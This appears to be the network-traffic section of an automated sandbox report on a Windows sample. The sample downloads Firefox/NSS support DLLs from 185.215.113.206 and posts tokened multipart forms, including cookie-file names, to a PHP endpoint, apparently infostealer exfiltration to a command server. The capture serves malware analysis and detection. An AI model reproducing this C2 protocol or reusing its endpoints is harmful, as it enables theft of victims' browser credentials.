Nov 12, 2024 04:16:07.574503899 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:07.856812954 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.215.113.206	80	6008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:16:16.737426996 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:16:16.737442970 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 12, 2024 04:16:18.151560068 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:16:18.273942947 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file"------EHIJDHCAKKFCBGCBAAEC--
Nov 12, 2024 04:16:19.049670935 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49750	185.215.113.206	80	6008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:16:24.784029961 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:16:24.784063101 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 12, 2024 04:16:26.183377981 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:16:26.465428114 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFII Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file"------KKFBAAFCGIEGDHIEBFII--
Nov 12, 2024 04:16:27.237983942 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:16:27.867077112 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:28.142570019 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 04:16:28.142585039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 04:16:28.142596006 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 04:16:28.142606974 CET	336	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 04:16:28.142620087 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 12, 2024 04:16:28.142716885 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Nov 12, 2024 04:16:28.142729998 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 12, 2024 04:16:28.142740011 CET	1236	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 12, 2024 04:16:28.142752886 CET	848	IN	Data Raw: d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 Data Ascii: E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLE
Nov 12, 2024 04:16:28.143069983 CET	1236	IN	Data Raw: 0f a4 f8 01 89 85 78 ff ff ff 0f a4 f7 01 89 bd 70 ff ff ff 8b 95 74 ff ff ff 8b 4a 10 89 8d 40 ff ff ff 8b b5 dc fe ff ff 8b 46 08 89 85 a4 fe ff ff 89 c3 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff Data Ascii: xptJ@FR<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UT
Nov 12, 2024 04:16:29.103076935 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:29.378833055 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 04:16:29.693753004 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:29.968655109 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 04:16:30.450352907 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:30.726056099 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 04:16:31.847229004 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:32.132734060 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 04:16:32.337126970 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 04:16:32.611989975 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 04:16:33.895987034 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKFBAKFBGDHIEBGDAKF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:16:34.667576075 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
